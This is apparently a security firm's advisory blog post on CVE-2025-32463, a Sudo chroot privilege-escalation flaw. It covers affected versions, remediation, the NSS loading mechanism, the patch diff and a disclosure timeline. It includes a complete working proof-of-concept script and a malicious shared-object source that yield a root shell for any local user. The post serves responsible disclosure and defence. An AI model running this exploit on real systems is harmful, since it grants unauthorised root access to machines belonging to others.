

Vulnerability Advisory: Sudo chroot Elevation of Privilege

By [Rich Mirch](#) on Jun 30, 2025

Cybersecurity

Introduction

The [Sudo](#) utility is a privileged command-line tool installed on Linux systems that allows a permitted user to execute a command as the superuser, or another user, as specified by the security policy. It is commonly used to implement the least privilege model by delegating administrative tasks that require elevated privileges without sharing the root password, while also creating an audit trail in the system log.

The Stratascale Cyber Research Unit (CRU) team discovered two local privilege vulnerabilities in Sudo. These vulnerabilities can result in the escalation of privileges to root on the impacted system.

The research focused on infrequently used command-line options. This blog explores how the Sudo chroot option can be leveraged by any local user to elevate privileges to root, even if no Sudo rules are defined for that user.

Related Post

[CVE-2025-32462 – Sudo host Option Elevation of Privilege Vulnerability](#)

Remediation

- Install sudo 1.9.17p1 or later.
- Visit https://www.sudo.ws/security/advisories/chroot_bug for additional information.

Impact

The default Sudo configuration is vulnerable. Although the vulnerability involves the Sudo chroot feature, it does not require any Sudo rules to be defined for the user. As a result, any local unprivileged user could potentially escalate privileges to root if a vulnerable version is installed. The following versions are known to be vulnerable. Note: Not all versions within the range have been tested.

- Stable 1.9.14 - 1.9.17

Note: The legacy versions of Sudo (currently $\leq 1.8.32$) are not vulnerable because the chroot feature does not exist.

Exploitation has been verified on:

- Ubuntu 24.04.1; Sudo 1.9.15p5, Sudo 1.9.16p2
- Fedora 41 Server; Sudo 1.9.15p5

Administrators / Blue Team Recommendations

- Install the latest sudo packages for your system. No workaround exists for this issue.

- The chroot option is now deprecated as of 1.9.17p1. It is recommended to avoid using the chroot options, as this could unintentionally make your environment less secure if not implemented properly.
- Search your environment for any use of the chroot option. Review all Sudo rules defined in /etc/sudoers, and files under /etc/sudoers.d. If the Sudo rules are stored in LDAP, use tools such as ldapsearch to dump the rules.
- Look for the use of the runcroot= option or CHROOT= directive in the individual rules.
- You can search for sudo entries in the syslog. Any commands using chroot will be logged with the CHROOT= string.

Sudo chroot Introduction

The *chroot(2)* system call and *chroot(8)* commands are used to limit the files and directories a process can access on a given file system. This is done by changing the root directory of the process to a given path, restricting its view to files under the path.

A real-world example of this is SFTP/FTP servers. Administrators can configure users to access only their home directories during file transfers. For instance, setting the FTP process root to */home/user* prevents access to files outside that directory, such as */etc/passwd*.

However, chroot is not considered a strong security boundary. The Linux [chroot\(2\)](#) man page explicitly states, "*This call changes an ingredient in the pathname resolution process and does nothing else. It is not intended to be used for any kind of security purpose, neither to fully sandbox a process nor to restrict filesystem system calls.*"

Sudo implements the chroot call using *-R <directory>* or *-chroot=<directory>* options to "*Change to the specified root directory before running the command.*" This is not a common or rarely used feature, likely implemented to support edge cases.

Below is an example of a Sudo rule from the test cases. The *lowpriv* account is allowed to execute */bin/bash* under */web*. In this example rule, the user does not pass the chroot directory using the command-line options. Instead, Sudo will chroot to */web* prior to executing */bin/bash*.

```
lowpriv ALL = CHROOT=/web /bin/bash
```

When the command is executed via Sudo, the "root" path will be set to */web*, so */web/bin/bash* must exist along with any linked libraries. The example below of *ls* command output shows the *lowpriv* user running */bin/bash* under */web*. The *rtd* line confirms that the root directory is set to */web*.

COMMAND	PID	USER	FD	TYPE	DEVICE	SIZE/OFF	NODE	NAME
bash	160095	root	cwd	DIR	252,0	4096	1048596	/web
bash	160095	root	rtd	DIR	252,0	4096	1048596	/web
bash	160095	root	txt	REG	252,0	1446024	1048604	/web/bin/bash
bash	160095	root	mem	REG	252,0	2125328	1048600	/web/lib/x86...gnu/libc.so.6
bash	160095	root	mem	REG	252,0	208328	1048601	/web/lib/x86...libtinfo.so.6
bash	160095	root	mem	REG	252,0	236616	1048602	/web/lib64/ld-...64.so.2

Note that basic Linux commands such as *ls* and *find* do not exist because they were not copied to the chroot environment.

```
lowpriv@prod:~$ sudo /bin/bash
bash-5.2# cd /
bash-5.2# ls
```

```
bash: ls: command not found
bash-5.2# find .
bash: find: command not found
bash-5.2# echo *
bin lib lib64
bash-5.2# echo bin/*
bin/bash
```

A value of "*" in the *runchroot= sudoers* configuration indicates that the user may specify the root directory by running *sudo* with the -R option. An example configuration using this option is shown below.

```
lowpriv@prod:~$ sudo -l
Matching Defaults entries for lowpriv on prod:
    env_reset,
    mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty,
    ranchroot=*

User lowpriv may run the following commands on prod:
    (root) /bin/bash
lowpriv@prod:~$ sudo -R /web /bin/bash
bash-5.2#
```

CVE-2025-32463 Sudo chroot Elevation of Privilege Walkthrough

CVE-2025-32463 was introduced in Sudo v1.9.14 (June 2023) with the update to the *command matching handling code* when the chroot feature is used.

Excerpt from the [NEWS](#) file:

Improved command matching when a chroot is specified in sudoers. The sudoers plugin will now change the root directory id needed before performing command matching. Previously, the root directory was simply prepared to the path that was being processed.

The issue arises from allowing an unprivileged user to invoke *chroot()* on a writable, untrusted path under their control. Sudo calls *chroot()* several times, regardless of whether the user has corresponding Sudo rule configured.

Allowing a low-privileged user the ability to call *chroot()* with root authority to a writable location can have various security risks. Many applications, such as SSH, explicitly guard against this. For example, SSH will refuse to chroot () if the target location is not owned by root.

The *pivot_root()* and *unpivot_root()* functions, defined in [plugins/sudoers/pivot.c](#), handle the *chroot* logic. Between these two calls, the [Name Service Switch \(NSS\)](#) operations are triggered, causing the system to load the */etc/nsswitch.conf* configuration file from the untrusted environment. This file contains directives that instruct the system on how to retrieve information about users, groups, and hosts. Multiple sources can be listed, and the order searched until there is a match.

For example, the following *nsswitch.conf* snippet shows files and *ldap* for the service. When retrieving information for a user, the local files (e.g. */etc/passwd*) will be searched first, and then LDAP.

```
passwd:      files ldap
group:       files ldap
```

```
shadow:      files ldap
gshadow:     files ldap
```

One interesting note that may not be immediately apparent when reading the *nsswitch.conf* file is that the name of the source is also used as part of the path for a shared object (library). For example, the above *ldap* source translates to *libnss_ldap.so*. When an NSS function uses the *ldap* source, the library is loaded.

Because of this behavior, any local user can trick Sudo into loading an arbitrary shared object, resulting in arbitrary code execution as root. The following stack trace shows the malicious shared object that has been loaded by Sudo. Note: It has been heavily edited for brevity.

```
#0  0x0000763a155db181 in woot () from libnss_/woot1337.so.2
#1  0x0000763a1612271f in call_init
#8  0x0000763a1612a164 in _dl_open (file="libnss_/woot1337.so.2",
#14 0x0000763a15f53a0f in module_load
#15 0x0000763a15f53ee5 in __nss_module_load
#17 0x0000763a15f5460b in __GI__nss_lookup_function
#19 0x0000763a15f50928 in __GI__nss_passwd_lookup2
#20 0x0000763a15f62628 in __getpwnam_r
#21 0x0000763a15d59ae8 in pam_modutil_getpwnam
#27 0x0000763a15d58d99 in pam_acct_mgmt
#28 0x0000763a1577e491 in sudo_pam_approval
#29 0x0000763a157ce3ef in sudo_auth_approval
#30 check_user.constprop.0
#32 0x0000763a15799143 in sudoers_check_cmd
#33 sudoers_policy_check
```

```
#34 0x00005ba00874b491 in policy_check
```

```
#35 main
```

To exploit this issue, the following */etc/nsswitch.conf* file was placed inside of the chrooted environment. The */woot1337* NSS "source" is translated to *libnss_/_woot1337.so.2*, which is a shared object under a path we control.

```
passwd: /woot1337
```

Executing the PoC on Ubuntu 24.04.2 LTS server with Sudo v1.9.15p5, using an unprivileged user with no Sudo rules defined, results in a root shell outside of the chrooted environment.

```
lowpriv@prod:~/CVE-2025-32463$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~/CVE-2025-32463$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)
```

The full *sudo-chwoot.sh* PoC.

```
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 - Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
```

```
sudo -R woot woot  
rm -rf ${STAGE?}
```

Chwoot Demo

chwoot-demo.c is a simplified version of the Sudo vulnerability, designed to replicate its core behavior. The proof of concept can be used to demonstrate the potential issues with chroot().

```
/*  
    Description: Simulate behavior of CVE-2025-32463 - sudo EoP via chroot.  
                Possible future CTF challenge? :)  
    gcc -Wall -o chwoot-demo chwoot-demo.c  
    cp 4755 chwoot-demo  
    mv chwoot-demo /usr/bin  
    Then get a root shell as a low priv user  
*/  
  
#include <fcntl.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <grp.h>  
#include <netdb.h>  
  
int main() {  
    chdir("/tmp/stage");  
    int saved_root = open("/", O_RDONLY);
```

```

    int saved_cwd = open(".", O_RDONLY);
    chroot("/tmp/stage");
    chdir("/");
    gethostbyname("woot");
    fchdir(saved_root);
    chroot(".");
    fchdir(saved_cwd);
    getgrnam("got root?");
}

```

The patch essentially reverts to the changes implemented in Sudo 1.9.14. The *pivot_root()* and *unpivot_root()* functions were removed, and *chroot()* is no longer called during the command matching phase.

```

--- sudo-1.9.17/plugins/sudoers/sudoers.c      2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
    int
    set_cmd_path(struct sudoers_context *ctx, const char *runchroot)
    {
-       struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
        const char *cmd_in;
        char *cmd_out = NULL;
        char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
        if (def_secure_path && !user_is_exempt(ctx))

```

```

    path = def_secure_path;

-   /* Pivot root. */
-   if (runchroot != NULL) {
-       if (!pivot_root(runchroot, &pivot_state))
-           goto error;
-   }
-
-   ret = resolve_cmd(ctx, cmd_in, &cmd_out, path);
+   ret = resolve_cmd(ctx, cmd_in, &cmd_out, path,unchroot);
    if (ret == FOUND) {
        char *slash = strrchr(cmd_out, '/');
        if (slash != NULL) {
@@ -1122,14 +1115,8 @@
        else
            ctx->user.cmd = cmd_out;

-   /* Restore root. */
-   if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
-
    debug_return_int(ret);
error:
-   if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
    free(cmd_out);

```

```
debug_return_int(NOT_FOUND_ERROR);  
}
```

With the patch applied, the exploit fails because *chroot()* is no longer called.

```
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh  
woot!  
sudo: the -R option will be removed in a future version of sudo  
Password:  
sudo: you are not permitted to use the -R option with woot
```

Disclosure Timeline

04/01/2025: Vulnerability report sent to Todd Miller (Sudo maintainer).

04/03/2025: Follow-up request to confirm receipt of the initial report.

04/03/2025: Report acknowledged; initial discussion began.

04/06/2025: Maintainer proposed a patch for CVE-2025-32462.

04/07/2025: Requested CVEs from MITRE.

04/08/2025: MITRE assigned CVE-2025-32462 (host option) and CVE-2025-32463 (chroot).

04/08/2025: Verified the CVE-2025-32462 patch and provided additional feedback.

04/23/2025: Follow-up request for an update.

05/06/2025: Follow-up request for an update.

05/06/2025: Maintainer responded, still working on a solution to the chroot issue.

05/07/2025: Sent feedback on the chroot issue.

05/16/2025: Follow-up request for an update.

06/04/2025: Follow-up request for an update.

06/09/2025: Maintainer proposed a patch for CVE-2025-32463.

06/10/2025: Verified the CVE-2025-32463 patch; proposed disclosure timeline.

06/23/2025: Patch sent to operating system [distros](#) list. Sudo advisory links confirmed.

06/30/2025: Public disclosure.

06/30/2025: Blog post published.

Acknowledgement & Credit

The CVE-2025-32463 Sudo chroot Elevation of Privilege Vulnerability was discovered by Rich Mirch of the Stratascale Cyber Research Unit. The Stratascale CRU team thanks the Sudo maintainer, Todd Miller, for the partnership in resolving these issues.